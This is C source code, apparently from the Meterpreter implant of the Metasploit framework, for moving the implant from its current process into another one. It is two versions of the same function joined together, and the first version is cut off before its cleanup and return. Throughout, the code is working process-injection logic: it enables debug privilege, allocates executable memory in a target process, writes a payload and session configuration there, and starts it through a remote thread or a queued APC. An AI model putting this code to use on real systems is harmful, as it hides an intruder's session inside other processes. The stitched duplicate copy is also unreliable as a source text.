/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; MIGRATECONTEXT ctx = { 0 }; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (config->session.comms_fd) { // Duplicate the socket for the target process if we are SSL based if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) { BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") } } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") } // Get the architecture specific process migration stub... if (dwDestinationArch == PROCESS_ARCH_X86) { lpMigrateStub = (LPVOID)&migrate_stub_x86; dwMigrateStubLength = sizeof(migrate_stub_x86); } else if (dwDestinationArch == PROCESS_ARCH_X64) { lpMigrateStub = (LPVOID)&migrate_stub_x64; dwMigrateStubLength = sizeof(migrate_stub_x64); } else { SetLastError(ERROR_BAD_ENVIRONMENT); dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); break; } // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") } // Calculate the address of the payload... ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") } // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") } } dwResult = ERROR_SUCCESS; } while (0);
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; LPCOMMONMIGRATECONTEXT ctx = NULL; DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); // Get the migrate stub information dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (remote->transport->get_migrate_context != NULL) { dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); } else { dwResult = get_migrate_context(&ctxSize, &ctx); } if (dwResult != ERROR_SUCCESS) { dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); break; } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } free(ctx); // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } dwResult = ERROR_SUCCESS; } while (0); SAFE_FREE(config); // If we failed and have not sent the response, do so now if (dwResult != ERROR_SUCCESS && response) { dprintf("[MIGRATE] Sending response"); packet_transmit_response(dwResult, remote, response); } // Cleanup... if (hProcess) { dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); CloseHandle(hProcess); } if (hEvent) { dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); CloseHandle(hEvent); } if (pResult) { *pResult = dwResult; } // if migration succeeded, return 'FALSE' to indicate server thread termination. dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); return ERROR_SUCCESS == dwResult ? FALSE : TRUE; }